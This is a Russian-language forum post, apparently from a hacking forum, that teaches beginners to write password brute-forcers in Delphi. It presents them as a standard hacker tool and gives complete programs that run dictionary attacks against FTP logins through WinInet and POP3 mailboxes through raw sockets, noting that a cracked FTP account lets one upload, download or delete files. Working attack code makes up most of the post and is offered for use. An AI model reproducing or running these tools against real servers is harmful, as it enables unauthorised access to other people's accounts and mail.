Администратор
                           
                          
                            Сообщений: 902
                           
                          
                            Статус: Offline
                           
                         | 
                        
                          Брутофорсер – важный инструмент любого хакера. Конечно, есть много готовых решений, типа виндового Brutos’а и nixовой Гидры. Но куда приятней пользоваться собственноручно написанной программой, которая отвечает всем твоим требованиям. 
                          Эта статья рассчитана на новичков, желающих разобраться в сетевом программировании.
                          Итак, наш Брутофорсер будет подбирать пасы по протоколам FTP и POP3. Причем при работе с FTP мы будем пользоваться функциями Internet Api, а пароли к мылу будем подбирать с помощью сокетов. 
                          FTP 
                          В принципе можно разобрать протокол FTP, прочитав RFC 959, и реализовать брутофорсер, используя сокеты. Но зачем идти длинным путем, когда в Винду встроены функции для удобной работы не только с FTP, а еще и с HTTP, Gopher. Все это реализовано в библиотеке WinInet.dll. 
                          Начинать работу с библиотекой стоит с использования функций InternetOpen. Функция принимает 5 параметров: lpszAgent, dwAccessType, IpszProxy, IpszProxyBypass, dwFlags – и вернет значение типа HINTERNET, который нам понадобится в дальнейшем. Первый параметр – IpzAgent. Строка, передаваемая серверу, содержащие имя программы пославшей ее. Например, Ослик передает строчку «Microsoft Internet Explorer». Следующий параметр (dwAccessType) задает свойства доступа. Может принимать такие значения INTERNET_OPEN_TYPE_DIRECT (все имена хостов обрабатываются на нашем компьютере), INTERNET_OPEN_TYPE_PROXY (использует прокси-сервера), INTERNET_OPEN_TYPE_PRECONFIG (устанавливает все значения из реестра(HKEY_CURRENT_USER\Software\Microsoft\Windo ws\CurrentVersion\Internet Settings)). IpzProxy – адрес прокси-сервера, учитывается только в случае INTERNET_OPEN_TYPE_PROXY, в остальных случаях смело можно писать nil. IpszProxyBypass –список имен и айпишников, связь с которыми нужно устанавливать в обход проксей. И наконец последней параметр – dwFlags. Он задает параметры, влияющие на Internet-функции. Пример использования: 
                           
                          
                            
                            
                              Code
                             
                            
                              hInet:=InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONF IG,nil,nil,0);
                             
                           
                          После вызова InternetOpen нужно соединиться с FTP-сервером и залогиниться на нем. Делается это при помощи функции InternetConnect. 
                          Параметры функции: 
                          HInet – Указатель на соеденение, полученный с помощью InternetOpen. 
                          IpszServerName – имя или IP-адрес сервера, с которым нужно связаться. 
                          nServerPort – номер порта, с которым нужно соедениться (Стандартный порт для FTP-сервера – 21). 
                          IpszUserName – Имя пользователя, под которым нужно войти на сервер. 
                          IpszPassword – пароль пользователя. 
                          dwService – задает сервис. Может принимать значения INTERNET_SERVICE_FTP, INTERNET_SERVICE_GOHER, INTERNET_SERVICE_HTTP. 
                          Пример использования: 
                          hconnect:=InternetConnect(hInet,’localhost’,21,’ad min’,’admin’,INTERNET_SERVICE_FTP,0,0); 
                          Теперь, если InternetConnect вернул nil, то связка логина и паса некорректная (хотя может быть так, что админ запалил перебор, и внес наш IP-адрес в black-лист). Если такого не произошло, то мы получаем указатель на установленное соединение. Далее мы можем просто вывести на экран сообщение о успешном подборе, а можем закачать, скачать, удалить файл. Делается при помощи функций FtpPutFile, FtpGetFile, FtpDeleteFile. На этой радостной ноте я хочу закончить с рассказом о FTP-брутофорсере и InternetApi и плавно перейти к подбору пасов для мыла. 
                           
                          
                            
                            
                              Code
                             
                            
                               
                              {ML2 FTP BRUTER v 0.01a 
                              written by TanKisT 
                              } 
                              program brut; 
                              {$APPTYPE CONSOLE} 
                               
                              uses 
                              WinInet; 
                               
                              var ftpname,file1,pass:string; 
                              port:Word; 
                              F1:textfile; 
                              hInet: pointer; 
                              hConnect: pointer; 
                              ftp:Pchar; 
                              login:array [0..255] of Char; 
                              begin 
                              //Получаем цель и словарик для брута 
                              Write('Name or IpAdress of FTP server: '); 
                              Readln(ftpname); 
                              Write('port: '); 
                              Readln(port); 
                              Write('Login: '); 
                              Readln(login); 
                              Write('File for brut: '); 
                              Readln(file1); 
                              Assign(F1,file1); 
                              {$I-} 
                              reset(f1); 
                              {$I+} 
                              //Проверка на существование файла 
                              If (IOResult<>0) or (file1='') then 
                              begin Writeln('can''t open file'); Readln; halt end; 
                              //Начало работы с InternetApi 
                              hInet:=InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONF IG,nil,nil,0); 
                              If hInet=nil then begin writeln('can''t connect to Internet'); Readln; halt; end; 
                              ftp:=PChar(ftpname); 
                              // Начинаем брут 
                              While not eof(F1) do 
                              begin 
                              Readln(f1,pass); 
                              Writeln('Try ',login,' ',pass); 
                              // Пытаеся соединиться с ФТП серверов. 
                              hconnect:= 
                              InternetConnect(hInet,ftp,port,login,PChar(pass),I NTERNET_SERVICE_FTP,0,0); 
                              //Проверяем валидность логина и пароля 
                              If hconnect <> nil then writeln('True') else writeln('False'); 
                              InternetCloseHandle(hconnect); 
                              end; 
                              InternetCloseHandle(hInet); 
                              Readln; 
                              end. 
                             
                           
                          POP3 
                          Увы, Microsoft не упростила нам жизнь, и работу по протоколу POP3 нам прийдется реализовать на сокетах. Мы будем использовать библиотеку WinSock. Для начала разберемся, что такое сокет. Это виртуальный сетевой канал, который можно использовать для соеденения с любым портом сервера. Теперь разбуремся с работой сокетов. 
                          Сначала нам нужно инициализировать библиотеку WinSock. Для этого нужно воспользоваться функцией WSAStartup, которая принимает два параметра: Первый – наивысшая версия WinSock, которую можно использовать. Второй структура типа TWSAData, в которой будет сохранена информация о WinSock. 
                          Далее нужно инициализировать сокет при помощи функции socket. Параметры: 
                          Af – Тип использоваемой адресации. Struckt – Базовый протокол. Для TCP нужно писать Sock_stream, для UPD – SOCK_DGRAM. Protocol – протокол по которому будем общаться с сервером. 
                          Пример использования:
  
                          
                            
                            
                              Code
                             
                            
                              FSocket:=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
                             
                            
                          Для соединения нужно подготовить структуру типа TSockAddr. Основные поля, которые нужно заполнить – sin_family, sin_addr, sin_port. Sin_family – семейство используемой адресации, sin_addr – IP-адрес сервера. Sin_port – порт подключаемого сервера. Пример использования: 
                          
                            
                            
                              Code
                             
                            
                              addr.sin_family:= AF_INET; 
                              addr.sin_addr:= 127.0.0.1; 
                              addr.sin_port:= htons(101);
                             
                            
                          Теперь соединяемся с сокетом. Функция connect, у которой есть три параметра: 
                          Переменная сокет, структура типа TSockAddr, размер структуры, который можно получить при помощи функции SizeOf. Пример использования: 
                          
                            
                            
                              Code
                             
                            
                              connect(Fsocket,SockAddrIn,Sizeof(SockAddrIn));
                             
                            
                          Отправить серверу строку можно при помощи функции send. Принимающей четыре параметра: Переменная сокет, Строка, размер строки, флаги. Пример использования. 
                          
                            
                            
                              Quote
                             
                            
                              send(FSocket,str,lstrlen(str),0);
                             
                            
                          Ответ сервера принимаем при помощи функции recv. Параметры: переменная сокет, буфер для ответа, размер буфера, флаги. 
                          
                            
                            
                              Quote
                             
                            
                              recv(FSocket,Buf,255,0);
                             
                            
                          Полностью протокол POP3 нам разбирать не стоит. Нам нужны только две команды – user и pass. При успешной авторизации сервер нам выдаст ответ “+OK”, при ошибке – “-ERR”. Так проверяя ответы сервера, можно узнать успешно ли мы залогинились. 
                          
                            
                            
                              Code
                             
                            
                              If Buf[1]=’+’ then Writeln(‘true’) else Writeln(‘false’);
                             
                            
                          Вот полный код брутофорсера:
                           
                          
                            
                            
                              Code
                             
                            
                              Код|Code 
                              {ML2 POP3 BRUTER v 0.01a 
                              written by TanKisT 
                              } 
                               
                              program mbrut; 
                              {$APPTYPE CONSOLE} 
                               
                              uses 
                              windows, 
                              Winsock; //Подключаем модуль WinSock 
                               
                              var wsadata:TWSAData; 
                              SockAddrIn: TSockAddrIn; 
                              host,filename,pass:string; 
                              port:word; 
                              FSocket: TSocket; 
                              Str,user: array [0..255] of Char; 
                              Buf:array [0..255] of Char; 
                              F1:TextFile; 
                               
                              begin 
                              // Получем цель для брута 
                              Write('IP-adress of host: '); 
                              Readln(host); 
                              Write('port: '); 
                              Readln(port); 
                              Write('login for brut: '); 
                              Readln(user); 
                              port:=110; 
                              filename:='a.txt'; 
                              assign(f1,Filename); 
                              reset(f1); 
                              WSAStartUp(257, wsadata); //Инициализация WinSock 
                              SockAddrIn.sin_family:=AF_INET; 
                              SockAddrIn.sin_port:=htons(port); 
                              SockAddrIn.sin_addr.s_addr := inet_addr(PChar(host)); 
                              while not Eof(f1) do 
                              begin 
                              Readln(F1,pass); 
                              FSocket:=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); //Подготовка сокета 
                              connect(Fsocket,SockAddrIn,Sizeof(SockAddrIn)); //Соеденение 
                              recv(FSocket,Buf,255,0); //Получаем ответ сервера 
                              If Buf[0]<>'+' then begin writeln('can''t connect'); readln; halt end; 
                              lstrcpy(Str,PChar('user '+user+#13#10#0)); //Подготавливаем запрос 
                              send(FSocket,str,lstrlen(str),0); //Отправляем запрос с логином 
                              recv(FSocket,Buf,255,0); 
                              If Buf[0]<>'+' then begin writeln('can''t connect'); readln; halt end; 
                              lstrcpy(Str,PChar('pass '+Pchar(pass)+#13#10#0)); 
                              send(FSocket,str,lstrlen(str),0); //Отправляем запрос с паролем 
                              recv(FSocket,Buf,255,0); // Получаем ответ сервера и парсим его 
                              If Buf[0]='+' then Writeln(pass+' ..true') else Writeln(pass+' ..false'); 
                               
                              end; 
                               
                              WSACleanUp();//Заканчиваем работать с WinSock 
                              Readln; 
                              end.
                             
                            
                           
                          Система: Windows 10 x64, Windows XP 
                          Среды программирования: Delphi 7, Delphi 10 Seattle 
                           
                          Я не профессионал, я всего лишь любитель 
                          Я не вредитель, я всего лишь теоретик
                         |